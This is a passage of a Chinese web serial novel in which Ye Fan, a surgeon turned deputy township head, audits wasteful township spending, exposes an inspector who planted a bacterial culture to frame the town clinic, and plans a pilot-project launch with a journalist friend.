他们万万没想到自己不仅没有烂掉,反而在这片泥泞中,生根发芽,破土而出,长成了一棵谁也无法忽视的树。
“感觉怎么样?”钱国栋看着他,笑着问道。
叶凡没有回答,他只是将那份任命通知书,轻轻地对折,放进了自己的口袋里。
他的眼神平静如水,但眼底深处却有一簇火苗,被悄然点燃。
他知道,从这一刻起,他正式踏入了另一个战场。
这个战场,没有手术刀,没有无影灯,但凶险程度,却有过之而无不及。
他的对手,也不再是周宏发、马保国这样的地痞流氓和地方贪官。
而是那个高居庙堂之上,能够轻易调动无数资源,织就一张天罗地网的,他的前岳父。
柳传明。
“**,我什么时候开始工作?”叶凡抬起头,问道。
钱国栋哈哈大笑起来。
“现在,立刻,马上!”
“叶副镇长,你的办公室,我已经让王秘书给你收拾出来了。”
“走,我带你去看看。”
第19章 新官上任,旧账难平!
青山镇政府大楼,二楼西头。
这里曾经是前副镇长马卫国的办公室,如今,它挂上了新的门牌——“副镇长办公室(叶凡)”。
王秘书带着两个年轻人,里里外外地打扫了一遍。
但办公室里那股陈旧的、夹杂着霉味和烟草味的空气,怎么也散不掉。
办公桌是老旧的款式,桌面上有一道被烟头烫出的黑疤,像一张咧开的嘴,无声地嘲笑着过往。
“叶镇长,委屈您了。”王秘书搓着手,有些不好意思,“镇里经费紧张,暂时也换不了新的。您先将就一下,我回头就打报告。”
“挺好。”叶凡把自己的东西放下,一个搪瓷茶杯,几本医学和公共卫生管理的专业书,“办公室是用来办事的,不是用来享受的。有张桌子,有把椅子,够了。”
他这话说得云淡风轻,却让王秘书心里更是敬佩。
这位新上任的叶副镇长,身上没有半点年轻得志的张扬,反而有一种沉稳得和他年龄不相符的气度。
新官上任,镇政府里的气氛变得很微妙。
叶凡走在走廊里,迎面碰上的干部,脸上都堆着热情的笑,一声声“叶镇长”叫得比谁都亲。
但那笑容背后,是审视,是好奇,也是提防。
谁都想看看,这位骑着火箭上来的年轻人,到底有几分成色。
他那三把火,打算从哪里烧起。
叶凡的第一把火,就烧向了自己亲手缔造的“功绩”——平安村。
马保国倒台,石料厂查封,看似大快人心。
但在叶凡这个“主治医生”看来,这只是切除了一个恶性肿瘤,但病人术后的康复、身体的调理,才是更漫长、更艰巨的工作。
副镇长办公室里,叶凡召集了镇卫生院院长李德海,以及分管民政和农业的两位老干事。
他将自己那份《平安村后续环境治理及村民健康康复计划》分发给众人。
计划书做得极其详尽,从如何分步骤清理河道里的重金属沉淀,到如何对污染的耕地进行植物修复;从全村村民的分批次免费体检,到为每一户建立终身健康档案。
甚至连后续康复治疗中,哪些药物可以用医保,哪些需要申请专项救助,都标注得清清楚楚。
李德海看得两眼放光,激动得直拍大腿:“叶镇长,您这份计划,简直就是我们基层卫生工作的教科书啊!要是能照着这个搞,不出三年,平安村的健康状况绝对能大变样!”
那两位老干事却面露难色,其中一个姓刘的,扶了扶老花镜,小心翼翼地开口:“叶镇长,计划是好计划,可……这得花多少钱啊?清淤、买修复草籽、全村人体检……这每一项,都是一笔不小的开支。咱们镇的财政,您是知道的,勒紧裤腰带,也就能勉强维持日常运转。”
另一个也跟着附和:“是啊,前阵子县里开会,还强调要压缩三公经费,严控各项支出。我们现在去打报告要钱,县里怕是不会批的。”
这就是现实。
理想的蓝图,撞上了冰冷的账本。
叶凡没有反驳,他预料到了这个情况。
他看着桌上那道丑陋的疤痕,问道:“镇里去年的账本,我能看看吗?”
刘干事一愣,随即点头:“当然可以,我这就去给您拿。”
半小时后,一本厚厚的、边角都已卷起的账本,放在了叶凡的桌上。
接下来的两个小时,办公室里安静得只剩下叶凡翻动纸张的“哗哗”声。
李德海和两位干事没走,他们就坐在旁边,看着这位新来的副镇长,像一个最严谨的审计师一样,一页一页地翻看,时不时地用笔在自己的本子上记下一些数字。
他们看不懂叶凡在做什么,但他们能感觉到一种强大的专注力。
那感觉,就像是回到了那一天,叶凡在简陋的镇医院里,冷静地进行那场开颅手术。
只不过,今天的手术台,是这一本油腻腻的账本。
他要解剖的,是青山镇的财政。
终于,叶凡停下了笔。
“我看了下,去年我们镇里有一笔专项资金,叫‘美丽乡村建设及文化旅游推广’经费,总共是二十八万。”叶凡抬起头,目光平静,“这笔钱,最后花在了什么地方?”
刘干事想了想,回答:“哦,那个啊,主要是用来……嗯……粉刷了政府大院的外墙,在镇口立了块大石头,上面刻了‘魅力青山’四个字,还印了五千份宣传彩页,介绍咱们镇的旅游资源。”
“宣传彩页我见过,上面说咱们镇有‘小桂林’之称的溶洞,有‘小九寨’之称的瀑布群。”叶凡的语气很平淡,“可我上周去实地看过,那个溶洞,根本没开发,里面全是蝙蝠屎。那个瀑布,枯水期还没我撒尿的动静大。刘干事,你告诉我,这五千份彩页,发给谁了?”
刘干事的脸“刷”地一下就红了,支支吾吾地说:“发……发给了镇上的干部职工,还有……还有各村的村干部,让他们学习领会……”
“学习怎么吹牛吗?”
叶凡的声音不大,却像一根针,扎破了所有虚伪的客套。
办公室里的空气瞬间变得有些尴尬。
李德海低着头,想笑又不敢笑,肩膀一抖一抖的。
叶凡没有继续在这个问题上羞辱他们,他知道,这是基层长期以来的通病,面子工程,虚假繁荣。
“这笔钱的账目,做得倒是很‘干净’。”叶凡话锋一转,“但我不关心它花得合不合规,我只关心它花得值不值。二十八万,粉刷了一面墙,立了一块骗自己的石头,印了一堆废纸。而现在,平安村几百口人的命,等着钱去救。”
他站起身,走到窗边,看着外面灰蒙蒙的天。
“这病,不能这么治。头痛医头,脚痛医脚,最后只会把人治死。”
他转过身,目光扫过三人。
“平安村的问题,表面看是污染,根子上是贫穷。为什么村民要去石料厂打工,拿命换钱?因为地里刨不出金子。为什
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么石料厂敢这么嚣张,因为镇里、县里都把它当成税收的宝贝。”
“所以,我们要做的,不是单纯的、被动地去申请一笔‘治污经费’。我们要主动出击,把这件事,做成一个‘项目’。”
“项目?”
三个人都听懵了。
“对,项目。”叶凡的眼睛里闪烁着一种外科医生在制定复杂手术方案时特有的光芒,“一个集‘重大污染事件善后处理’、‘农村空心病及矽肺病防治’、‘后工业时代乡村生态修复’于一体的,综合性公共卫生治理试点项目。”
他把这几个听起来无比“高大上”的词组合在一起,把李德海他们说得一愣一愣的。
“我们不向县里要钱,我们直接向市里,甚至向省里要政策,要试点。”叶凡的声音变得有力,“这份计划书,我会亲自重新润色,把它从一份简单的治理方案,变成一份具有前瞻性、示范性的项目申报书。我要让市里、省里的领导看到,我们青山镇,不光是出了一个污染丑闻,我们更有能力,把这个丑闻,变成一个治理的范本,一个可以向全市、全省推广的功绩。”
“这……这能行吗?”刘干事听得心惊肉跳,感觉这位叶镇长的心,也太大了。
“行不行,试了才知道。”叶凡笑了,“做手术,总有失败的风险。但你不开刀,病人就只有死路一条。与其等着县财政那点可怜的拨款,不如我们自己,去搏一个未来。”
他这番话,彻底颠覆了在场几位老干部的思维定式。
他们习惯了等、靠、要,从未想过,一个偏远乡镇,竟然可以主动去“创造”一个项目,直接去争取更高层级的资源。
这已经不是“放火”了,这是要直接往天上扔一个“窜天猴”啊!
当天下午,叶凡就把自己关在办公室里,把他那份计划书,用一种全新的逻辑和语言,重新包装了一遍。
他充分利用了自己作为市级医学专家的优势,引用了大量国内外最新的学术报告和数据,把一个地方性的环境问题,上升到了一个具有普遍性、研究价值的公共卫生课题的高度。
做完这一切,他没有通过镇政府的渠道上报,而是直接拨通了一个电话。
电话是打给苏沐秋的。
“苏记者,有兴趣再搞个大新闻吗?”叶凡靠在椅子上,语气里带着一丝轻松的调侃,“这次,不是揭黑幕,是唱赞歌。”
电话那头的苏沐秋愣了一下,随即笑了起来:“叶镇长,你这官腔学得挺快啊。说吧,又有什么鬼主意了?”
“我这儿有个东西,我觉得你们报社的内参,或者**政研室的领导,可能会感兴趣。”
一个小时后,一份加密邮件,从青山镇政府那台老旧的电脑上,发往了江城晚报社苏沐秋的私人邮箱。
叶凡知道,他已经把手术刀递了出去。
这一次,他要切开的,是那层层叠叠的官僚体系,为青山镇,也为自己,开辟出一条全新的血路。
第20章 明枪易躲,暗箭难防!
苏沐秋的效率比叶凡预想的还要快。
两天后,《江城内参》上,刊登了一篇由她撰写的深度观察文章,标题很长,但极具分量——《关于我市基层突发性环境公害事件后,建立“生态-健康”一体化长效修复机制的思考与建议——以青川县青山镇为例》。
文章没有纠缠于污染事件本身,而是高屋建瓴地,将叶凡那份“项目申报书”的核心理念,用一种更具政策性、更具高度的语言,进行了精炼的阐述。
文中巧妙地引用了叶凡提供的“试点项目”概念,并将其上升到了“为江城市探索城乡统筹发展新路径”的高度。
这篇内参,精准地投送到了江城市所有市级领导,以及各区县、各部委办局一把手的案头。
一石激起千层浪。
对于官场中人而言,丑闻是烫手山芋,避之唯恐不及。
但“试点”、“范本”、“新路径”这些词,却是人人渴望的**资本和晋升台阶。
叶凡这一手,玩得极其漂亮。
他成功地将所有人的目光从“青山镇出了多大的乱子”,转移到了“青山镇这个试点能搞出多大的名堂”上来。
青川县委**张海涛在看到这篇内参时,心情复杂到了极点。
他捏着那张薄薄的纸,感觉比一块砖头还沉。
这个叶凡,到底是个什么怪物?
他以为叶凡当上副镇长后,会陷入到乡镇具体而繁杂的琐事中,慢慢被磨平棱角。
谁能想到,他反手就又放了一颗“卫星”,而且这次是直接把信号发射到了**领导的面前。
张海涛很清楚,现在这已经不是他想不想支持叶凡的问题了。
市里已经知道了这个“试点”构想,并且大概率会有人对此感兴趣。
他如果压着不办,那就是**不敏感,甚至会被认为是故意阻挠。
可要是办,那功劳簿上,必然要有叶凡浓墨重彩的一笔。
他有一种被叶凡架在火上烤的感觉。
更难受的,是远在市里的柳传明。
他看到这篇内参时,差点把手里的紫砂杯给捏碎。
他动用关系,想把叶凡死死按在乡镇的泥潭里。
结果叶凡不仅没陷进去,反而把泥潭当成了自己的发射台一次又一次地搞出大动静,吸引着更高层级的注意。
这小子,不仅是个会开刀的疯子,还是个深谙**传播学的妖孽!
柳传明意识到,常规的打压,对叶凡已经没用了。
你越是打压他,越是给他制造困难,他越是能把这些困难,转化成自己表演的舞台和上位的资本。
对付这种人,不能再用“势”去压,得用“术”去破。
柳传明在办公室里踱步良久,一个阴狠的计划,在他脑中逐渐成型。
叶凡的根基是什么?
是他的专业,是他“神医”的名声。
那好,我就从你的根基上,给你来一记釜底抽薪。
……
一周后,青山镇卫生院。
院长李德海正哼着小曲,指挥着两个护士整理新到的体检设备。
叶凡那个“试点项目”,虽然市里还没正式批复,但县卫生局已经感受到了压力,破天荒地拨下来一批基础的医疗设备,一台半自动生化分析仪,一台心电图机。
虽然都是些淘汰的旧货,但对青山镇卫生院来说,已经算是**换炮了。
“老李,干劲很足嘛。”叶凡正好过来,笑着打趣。
“那可不!”李德海满面红光,“叶镇长,跟着您干,有盼头!我感觉咱们卫生院,马上就要奔小康了!”
两人正说着话,三辆挂着江城市卫生局牌照的白色面包车,悄无声息地开进了卫生院的院子。
车门打开,呼啦啦下来十几个人。
这些人统一穿着白大褂,但脸上却不是医生的温和,而是一种冰冷的、挑剔的审视。
为首的,正是上次在镇政府灰溜溜离去,结果屁事没有的刘副局长。
刘副局长这次的气势,比上次更足。
他手里拿着一份**,看到叶凡,皮笑肉不笑地扬了扬。
“叶镇长,别来无恙啊。”他那双小眼睛里,闪烁着复仇的快意,“接到群众**,反映你们青山镇卫生院,在之前的诊疗活动中,存在严重的不规范操作,甚至有非法行医、伪造病历的嫌疑。市局领导高度重视,特成立‘专项医疗纪律督查组’,由我带队,对你们卫生院进行一次彻底的、全面的、拉网式的清查!”
他把“彻底”、“全面”、“拉网式”几个字,咬得特别重。
李德海的脸,瞬间就白了。
叶凡的眉头,也皱了起来。
明枪易躲,暗箭难防。
柳传明的反击,终于来了。
而且是直插心脏,狠辣无比。
他知道,这群人不是来检查工作的,他们是拿着放大镜来找茬的,是来制造罪名的。
“刘局长,我们欢迎市局的督导检查。”叶凡迎了上去,神色不变,“不过,据我所知,这种专项督查,应该由市、县两级卫生部门联合发文,并提前通知。我们似乎没有收到县卫生局的任何通知。”
“情况紧急,特事特办嘛。”刘副局长得意地晃了晃手里的文件,“这是市局直接下发的督查令。叶镇长,你现在虽然是副镇长,但你的编制可还在市三院,归我们卫生系统管。我们查自己的系统,合情合理。你,最好还是配合一点。”
这话,是赤裸裸的威胁。
他提醒叶凡,别忘了自己的“出身”。
叶凡心里一沉,知道对方这次是有备而来,程序上恐怕很难再抓到他们的漏洞。
督查组的人,如同虎狼一般,涌进了卫生院的各个角落。
他们冲进药房,拿着手电筒,检查药品的批号和有效期;他们闯进档案室,将一堆堆老旧的病历翻得漫天飞絮;他们甚至拿着棉签,在手术室的墙角、器械的缝隙里,采集所谓的“菌落样本”。
整个卫生院,被搅得鸡飞狗跳。
李德海急得像热锅上的蚂蚁,跟在叶凡身边,声音都在发颤:“叶镇长,这可怎么办?咱们卫生院条件差,很多地方都不合规范。就说那药品吧,有些不常用的,过期一两个月没来得及处理,是常有的事。还有那些病历,手写的,涂涂改改……这要是让他们抓住,可都是大问题啊!”
“别慌。”叶凡拍了拍他的肩膀,眼神却变得异常冰冷。
他看着那些督查组成员的表演,就像在看一台拙劣的手术。
动作很大,看似专业,实则漏洞百出,目的性太强。
一个年轻的督查员,举着一盒阿莫西林,大声喊道:“刘局,这里有发现!这盒药,已经过期三个月了!给病人用过期药,这是严重的医疗事故!”
刘副局长立刻如获至宝,走过去,对着那盒药拍了好几张照片,脸上露出胜利的笑容:“记下来!性质严重,影响恶劣!”
叶凡走了过去,拿起那盒药看了一眼。
“这药,是去年冬天,邻村一个五保户老人来开的。他没钱,李院长就自掏腰包给他买了。后来他没来取,就一直放在这里。这药,根本没有入库,更没有给任何病人使用过。”叶凡的声音很平静。
“你怎么证明?”刘副局长冷笑。
“药盒上,有李院长用铅笔写的‘张大爷’三个字。你可以去邻村找一个叫张富贵的老人,问问他,去年冬天是不是有这么回事。”
刘副局长的笑容僵在了脸上。
另一个督查员,在档案室里有了“重大发现”。
他拿着一本病历,兴奋地跑过来:“刘局,这本病历有涂改痕迹!涉嫌伪造!”
那是一份手写的阑尾炎手术记录。
叶凡拿过来看了一眼,指着涂改处说:“这里,术中发现患者阑尾系膜水肿严重,临时改变了缝合方式。主刀医生在这里进行了修
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改,并且在旁边签上了自己的名字缩写。这是符合操作规范的,叫‘勘误补充’。这位督查员,你应该是学行政的吧?连最基本的病历书写规范都不懂吗?”
那个年轻督查员的脸涨成了猪肝色。
刘副局长的脸色越来越难看。
他发现,自己带来的这些所谓的“专家”,在叶凡这个真正的大行家面前,就像是一群拿着玩具刀的孩子,每一次出招,都被对方轻描淡写地化解,甚至还被反过来上了一课。
就在这时,一个负责检查手术室的督查员,举着一个密封的样本袋,冲了出来,神情紧张又激动。
“刘局!重大发现!手术室的无菌操作台下沿,检测出活体菌落!而且……而且初步判断,是绿脓杆菌!”
绿脓杆菌!
这四个字一出,在场所有懂医的人,脸色都变了。
这是一种非常凶险的医院内感染细菌,一旦出现,就意味着手术室存在严重的污染源,是天大的事故隐患。
刘副局长像是抓住了最后一根救命稻草,整个人都兴奋得颤抖起来:“马上封存!拍照!取证!这是铁证!铁证如山!”
李德海的腿一软,差点瘫坐在地上。
完了,这下彻底完了。
这个罪名,谁也洗不清了。
叶凡的瞳孔,也骤然收缩。
他快步走进手术室,戴上手套,走到那个据说发现了绿脓杆菌的操作台前。
他没有去看什么样本,而是俯下身,仔细地观察着操作台的金属支架。
片刻之后,他直起身,眼神里没有惊慌,反而多了一丝古怪的、近乎嘲弄的笑意。
他走到刘副局长面前,伸出手。
“刘局长,借你的手机用一下,拍个照。”
刘副局长一愣:“你要干什么?”
“让你见识一下,什么叫真正的‘非法行医’。”
叶凡拿着刘副局长的手机,重新走到操作台前,打开了闪光灯,对着支架底部一个极其隐蔽的焊缝连接处,拍了一张特写照片。
然后,他把手机递还给刘副局长。
“刘局长,你仔细看看,这个焊缝处,是不是有一点点非常不起眼的,淡绿色的,黏菌状的残留物?”
刘副局长凑过去一看,照片上,果然有那么一丁点几乎无法察觉的痕迹。
“这……这是什么?”
“这是培养基。”叶凡的声音,像腊月的寒风,“一种专门用来培养绿脓杆菌的,特异性显色培养基。它的特点是,一旦接触到空气中的水分,就会迅速降解,二十分钟内,痕迹就会消失得无影无踪。”
他看着那个采集到样本的督查员,冷冷地笑了。
“除非,有人在进这个房间之前的五分钟内,刚刚接触过它。比如,把它藏在自己的袖口里,然后趁人不备,抹到这个操作台的下面。再‘恰好’地,从这里采集到了所谓的‘样本’。”
“你……你血口喷人!”那个督查员的脸色,瞬间惨白如纸,眼神慌乱,不敢与叶凡对视。
“是不是血口喷人,很简单。”叶凡的目光,像两把锋利的手术刀,死死地钉在他的身上,“我们现在报警。请**局的刑侦技术人员过来,提取你袖口上的纤维残留物,再和操作台上的残留物进行比对。另外,再查一查,江城市最近一个月,有谁,从哪个生物公司,购买过这种‘绿脓杆菌显色培养基’。”
“刘局长,”叶凡转向已经呆若木鸡的刘副局长,“你觉得,这个调查结果,会不会很有趣?”
刘副局长看着那个脸色惨白、浑身发抖的手下,再看看眼神冰冷、气场强大到可怕的叶凡,他感觉自己浑身的力气都被抽空了。
他知道,自己又输了。
而且,输得比上一次,更加彻底,更加难看。
他本以为自己是带着“暗箭”来的,没想到,对方直接把他的箭没收了,还当着所有人的面,一寸一寸地,掰断了。
第21章 女记者来访!
刘副局长的世界,在“培养基”三个字出口的瞬间,彻底崩塌了。
那是一种比上次在钱国栋办公室里,听到“市纪委”时更深邃、更彻底的绝望。
上次是踢到了铁板,这次,是自己一头撞上了高压电网,连带着他身后所有推他的人,都感到了那股焦糊的电流味。
空气仿佛凝固了。
那个被叶凡目光锁定的督查员,脸色由惨白转为土灰,双腿一软,竟“扑通”一声瘫坐在地,裤裆处迅速洇开一片深色的水渍。
一股骚臭味,在混杂着消毒水气味的空气中尴尬地弥漫开来。
“哎哟,这……这位同志是中暑了吗?还是低血糖?”卫生院的李德海院长此刻的反应快得惊人。
他那张原本愁云惨淡的脸,瞬间绽放出一朵夸张的菊花,三步并作两步地冲上去,捂着鼻子,大声嚷嚷,“小王,小张!快,快扶这位领导去休息室!倒杯糖水!咱们卫生院条件再差,也不能让市里来的领导在我们这儿晕倒啊!传出去,我们青山镇还怎么做人!”
他这番“关心”,每一个字都像是一记响亮的耳光,抽在刘副局长和整个督查组的脸上。
刘副局长呆立当场,浑身冰凉。
他看着自己那个丑态百出的手下,再看看那个眼神冰冷,嘴角甚至噙着一抹讥讽笑意的叶凡,他感觉自己不是来督查的,而是带队来上演一出年度最拙劣的栽赃喜剧的。
他本以为自己是猎人,带着淬了毒的暗箭。
没想到,猎物不仅瞬间识破了**的成分,还反手把箭矢没收,当着所有人的面,用一种慢条斯理、极具羞辱性的方式,一寸一寸地,掰断了。
“报警。”
叶凡的声音不响,却像法官的木槌,重重落下,敲碎了刘副局长最后一点侥幸。
“李院长,麻烦你,现在就打110。就说我们卫生院,有人涉嫌**,并意图诬告陷害国家干部,性质极其恶劣,证据确凿,请他们立刻派刑侦技术人员过来处理。”
“好嘞!”
李德海掏手机的动作,比谁都积极,那兴奋劲儿,仿佛不是报警,而是要打电话订年夜饭。
“别!别报警!”刘副局长终于回过神来,一个箭步冲上来,想去按李德海的手,声音里已经带上了哭腔,“叶……叶镇长!叶神医!误会,这全都是误会!我们……我们工作不严谨,是我们错了!我们马上走,马上就走!”
他知道,一旦警察介入,这件事就彻底失控了。
栽赃陷害纪委正在关注的干部,干扰基层正常医疗秩序,这罪名要是坐实了,他这个副局长也就当到头了。
柳传明也保不住他,甚至会第一个把他扔出去当替罪羊。
“走?”叶凡笑了,那笑容里带着一种让刘副局长毛骨悚然的寒意,“刘局长,你们兴师动众地来,把我们卫生院搅得天翻地覆,现在发现玩脱了,就想拍拍屁股走人?天底下,有这么便宜的事吗?”
他上前一步,凑到刘副局长耳边,用只有两人能听到的声音,一字一句地说道:“回去告诉柳传明。他儿子是草包,他手底下的人,是饭桶。想玩,就派个像样点儿的来。别总送些人头过来,让我刷经验。”
“还有,这个,”叶凡指了指那个瘫在地上的督查员,“人,我不能让你带走。我要把他交给钱**,再由镇里,正式移交给市纪委的高**。我相信,高**对他袖口里藏着什么,以及是谁让他这么做的,会非常感兴趣。”
刘副局长如遭雷击,整个人晃了晃,差点没站稳。
釜底抽薪!
这是要留下人证,把火直接烧回柳传明身上!
他张着嘴,想求饶,想辩解,却发现自己在叶凡那双洞悉一切的眼睛面前,像个被扒光了衣服的小丑,任何语言都显得苍白无力。
最终,刘副局长和他的“专项医疗纪律督查组”,是真正意义上的落荒而逃。
他们来时十几个人,气势汹汹,走的时候,只剩下了十来个,一个个垂头丧气,像是斗败的公鸡,连头都不敢抬。
留下的,是那个瘫软如泥的“物证”,和满院子压抑不住的、畅快淋漓的议论声。
“我的天,你们看见没?叶镇长那几句话,简直是神了!”
“什么叫运筹帷幄,决胜千里?这就叫!”
“我算是看明白了,在叶镇长面前玩那些阴谋诡计,跟在关公面前耍大刀有什么区别?不,是跟在外科医生面前玩解剖,自取其辱
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!”
李德海更是激动地握着叶凡的手,用力摇晃着,满脸的崇拜已经溢于言表:“叶镇长!您……您就是我们青山镇的定海神针啊!我这辈子,没服过谁,今天,我是彻底服了!”
叶凡只是淡淡地笑了笑,抽回手,拍了拍李德海的肩膀:“行了,把这里收拾一下,安抚一下大家的情绪,正常工作。”
他转身走回自己的办公室,夕阳的余晖从窗口照进来,将他的影子拉得很长。
他没有半点胜利的喜悦,心中反而更加凝重。
柳传明的这次出手,虽然拙劣,却也试探出了他的底线。
那就是,为了扳倒自己,他已经可以无所不用其极,甚至不惜动用栽赃嫁祸这种下三滥的手段。
一个身居高位,却毫无底线的对手,才是最可怕的。
他坐在那张被烟头烫出疤痕的办公桌后,陷入了沉思。
他知道,柳传明绝对不会就此罢休,下一次的攻击,只会来得更隐蔽,也更致命。
自己必须尽快将“试点项目”落实,拿到市里正式的政策支持和名分。
只有这样,才能给自己穿上一层真正的“护身符”。
就在这时,办公室的门被轻轻敲响了。
“请进。”
门推开,王秘书探进头来,脸上带着一种混合着喜悦和一丝古怪的表情:“叶镇长,有位女记者同志找您,说是……您的朋友。”
叶凡抬起头,只见王秘书身后,一个熟悉的身影走了进来。
她穿着一身干练的米色风衣,长发束成一个清爽的马尾,手里提着一个果篮,脸上带着一丝风尘仆仆的倦意,但那双眼睛,在看到叶凡时,瞬间就亮了起来,像是被点燃的星辰。
是苏沐秋。
她就那么俏生生地站在门口,夕阳的金光温柔地洒在她的身上,为她的轮廓镀上了一层温暖的光晕。
她看着叶凡,没有立刻说话,只是嘴角微微上扬,勾勒出一个好看的弧度。
那眼神里,有好奇,有欣赏,还有一丝她自己都未曾察觉的,关切与担忧。
“叶镇长,”她终于开口,声音清脆,带着一丝揶“揄,“听说你今天,又给咱们江城市的官场,贡献了一个精彩绝伦的案例?”
第22章 炉边夜话,星火燎原!
夜色像一块巨大的黑色丝绒,缓缓笼罩了青山镇。
镇政府的食堂里,飘出了久违的饭菜香。
钱国栋特意让食堂开了小灶。
一张简单的四方桌,没有外人,就四个人。
钱国栋,叶凡,刚刚处理完后续事宜、依然一脸兴奋的李德海,以及不请自来的苏沐秋。
菜很简单,一盘小炒黄牛肉,一盘酸辣土豆丝,一个西红柿鸡蛋汤,外加一盘李德海特意从家里带来的、他老婆亲手腌制的酸豆角。
钱国栋拿出半瓶没喝完的酒,给三个男人都满上。
“沐秋同志是记者,要保持形象,就以茶代酒吧。”钱国栋笑呵呵地举起杯,“今天这顿饭,有两个意思。第一,给叶凡接风洗尘,哦不对,是荡涤污秽,庆祝咱们又打赢了一场硬仗!”
“哈哈,说得好!”李德海早就等不及了,一仰脖子,杯中酒一饮而尽,辣得龇牙咧嘴,却满脸痛快。
叶凡也笑着喝了。
“第二嘛,”钱国栋放下酒杯,目光转向苏沐秋,眼神里带着几分长辈的审视和欣赏,“要感谢我们的苏大记者。要不是你那篇内参及时捅上去,引起了市领导的重视,叶凡这小子想把‘试点’的火烧起来,还没那么容易。这杯,我敬你。”
“钱**您太客气了,我只是尽了一个记者的本分。”苏沐秋端起茶杯,落落大方地和钱国栋碰了一下,“说到底,还是叶镇长的计划做得好。我只是个转述者,真正打动人心的,是计划本身的力量。”
她的目光,不经意地瞟向叶凡。
叶凡正低头夹了一筷子酸豆角,嚼得嘎嘣脆,好像这桌上最美味的,就是这盘不值钱的家常小菜。
他似乎没有注意到苏沐秋的眼神,也没有因为被夸奖而有任何情绪波动。
这种感觉很奇特。
苏沐秋见过太多在官场上崭露头角的年轻人,一旦做出点成绩,被领导和媒体一捧,那种按捺不住的意气风发,是藏都藏不住的。
但叶凡不一样。他好像永远都游离在那个名利场之外。
你夸他,他不喜。
你骂他,他不怒。
他就像一个最顶尖的外科医生,在手术台上,眼里只有那个需要切除的病灶,手术成功后的掌声和鲜花,对他而言,仿佛只是背景噪音。
可偏偏是这种沉稳和淡然,让苏沐秋感到一种莫名的吸引力。
“叶镇长,你那计划,可不只是计划那么简单。”苏沐秋放下茶杯,主动挑起话题,“我听我们总编说,**政研室专门开了个会讨论,主管农业的李副市长,对你那个‘生态-健康’一体化修复的概念,非常感兴趣,还批示说‘这个思路值得深入研究,可以大胆尝试’。”
“哦?”钱国栋的眼睛一亮,“有这回事?”
“嗯,批示昨天刚下来。所以,我今天来,也不全是来看热闹的。”苏沐秋从随身的包里,拿出一个小巧的录音笔和笔记本,“总编派我来做后续的深度追踪报道。他让我跟紧这个‘试点’,从无到有,做成一个系列报道。换句话说,市里,在等着看你们的成果。”
这话一出,饭桌上的气氛顿时变得不一样了。
李德海的脸上激动得泛起红光。
钱国栋则陷入了沉思,手指无意识地在桌上轻轻敲击着。
叶凡终于抬起了头,他看着苏沐秋,问道:“柳传明部长那边,有什么动静?”
他一开口,就问到了最关键的地方。
苏沐秋的眼神闪过一丝凝重:“他很安静,安静得有点反常。马保国倒台,他没出声。我那篇内参上去,他也没动静。直到今天,才派了刘副局长这帮人,用这种近乎**式袭击的方式来找你麻烦。我总感觉,他像是在故意示弱,或者说,在憋一个更大的招。”
“他不是在示弱,他是在改变策略。”叶凡放下筷子,一针见血地指出,“之前的几次交手,他都是想用‘势’来压我。用权力,用关系,用**。但他发现,这些东西对我没用,甚至会成为我反击的武器。所以,他这次换了打法。”
“他想从我的‘根’上,也就是我的专业能力和职业道德上,来打倒我。今天这次栽赃,就是一次试探。虽然失败了,但他的目的也部分达到了。”
“什么目的?”李德海没听懂。
“他成功地提醒了所有人,尤其是卫生系统的领导,我叶凡,虽然当了副镇长,但本质上还是个医生。我的身上,贴着‘医疗’这个标签。”叶凡的目光变得深邃,“只要有这个标签,他就可以随时用‘医疗事故’、‘违规操作’这些罪名来攻击我。就算不能一击致命,也能让我焦头烂额,让我好不容易在官场上建立起来的威信,毁于一旦。”
钱国栋缓缓点头,脸上露出了赞许的神色:“没错。这才是柳传明这种老狐狸的可怕之处。他一击不中,会立刻后退,然后从你意想不到的角度,发动第二次攻击。你今天虽然赢了,但也暴露了你的一个‘软肋’。”
饭桌上的气氛,一下子又变得沉重起来。
苏沐秋看着叶凡,心里有些不是滋味。
她原以为叶凡今天大获全胜,值得好好庆祝,却没想到,在这胜利的背后,还隐藏着如此深重的危机。
这个男人,到底每天要面对多少明枪暗箭?
“所以,”叶凡忽然笑了,打破了沉寂,“我们不能再等了。必须趁着李副市长批示的这股东风,趁着柳传明他们暂时缩回去的这个空档,把‘试点’这块牌子,抢先拿到手,而且要拿得名正言顺,人尽皆知。”
“怎么抢?”钱国栋问道。
“开一个现场会。”叶凡的目光转向苏沐秋,“苏记者,这次,又要麻烦你了。我想,在青山镇,搞一个‘江城市农村突发性环境公害治理与生态健康修复试点项目启动仪式’。”
“启动仪式?”苏沐秋的职业敏感性立刻被调动起来。
“对。我们要把市卫生局、市环保局、市农业局,甚至你提到的那位李副市长的秘书,都请到现场来。我们要让他们亲眼看看平安村的现状,亲耳听听村民们的哭诉和期盼。我们要当着所有媒体的面,把李副市长的批示,变成一个看得见、摸得着的项目。”
叶凡的声音不高,但每一个字都充满了力量。
“这叫‘倒逼’。”钱国栋一拍大腿,眼神里满是兴奋的光芒,“把事情抬到桌面上,放在阳光下。他柳传明手再长,也不敢公然跟市领导的批示,跟民
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心所向对着干。到时候,县里就算有人想使绊子,也得掂量掂量。”
“可是,”苏沐秋提出了一个现实的问题,“想请动这么多部门的领导,尤其是市领导,光凭我们,恐怕分量不够吧?”
“分量,是可以创造的。”叶凡的嘴角勾起一抹自信的弧度,“你负责联络媒体,把声势造起来。钱**负责和县里沟通,拿到名义上的支持。李院长,你负责把平安村村民组织好,让他们知道,这是为他们自己争取活路的机会。”
“那你呢?”苏沐秋忍不住问。
“我?”叶凡看着杯中清亮的酒液,里面倒映着自己平静的脸庞。
“我负责去请那位,能一锤定音的‘主刀医生’。”
他说完,端起酒杯,一饮而尽。
那晚,苏沐秋没有回城里。
钱国栋让王秘书在镇招待所给她安排了一个干净的房间。
送她回招待所的路上,只有叶凡和她两个人。
乡间的土路很安静,只有两人的脚步声和路边草丛里的虫鸣。
月光很好,像水一样洒下来,给万物都披上了一层银纱。
“你真的有把握,能请到市里的领导?”苏沐秋还是有些担心。
“五成。”叶凡回答得很干脆。
“才五成?”
“做手术,哪怕只有一成的成功率,只要病人还有救,就得拼尽全力。”叶凡停下脚步,转头看着她,“做事情,也是一个道理。”
苏沐秋看着他的侧脸,月光下,他的轮廓分明,眼神清澈而坚定。
她忽然觉得,眼前的这个男人,就像一本厚重的书,每多了解一分,就越发被他吸引。
他身上有一种矛盾的特质,既有医生的严谨和仁心,又有战士的果敢和狠辣。
“叶凡,”她轻声叫他的名字,“你……小心一点。”
“放心。”叶凡笑了笑,“我这条命,硬得很。”
走到招待所门口,叶凡停下脚步:“早点休息吧,明天还有很多事要做。”
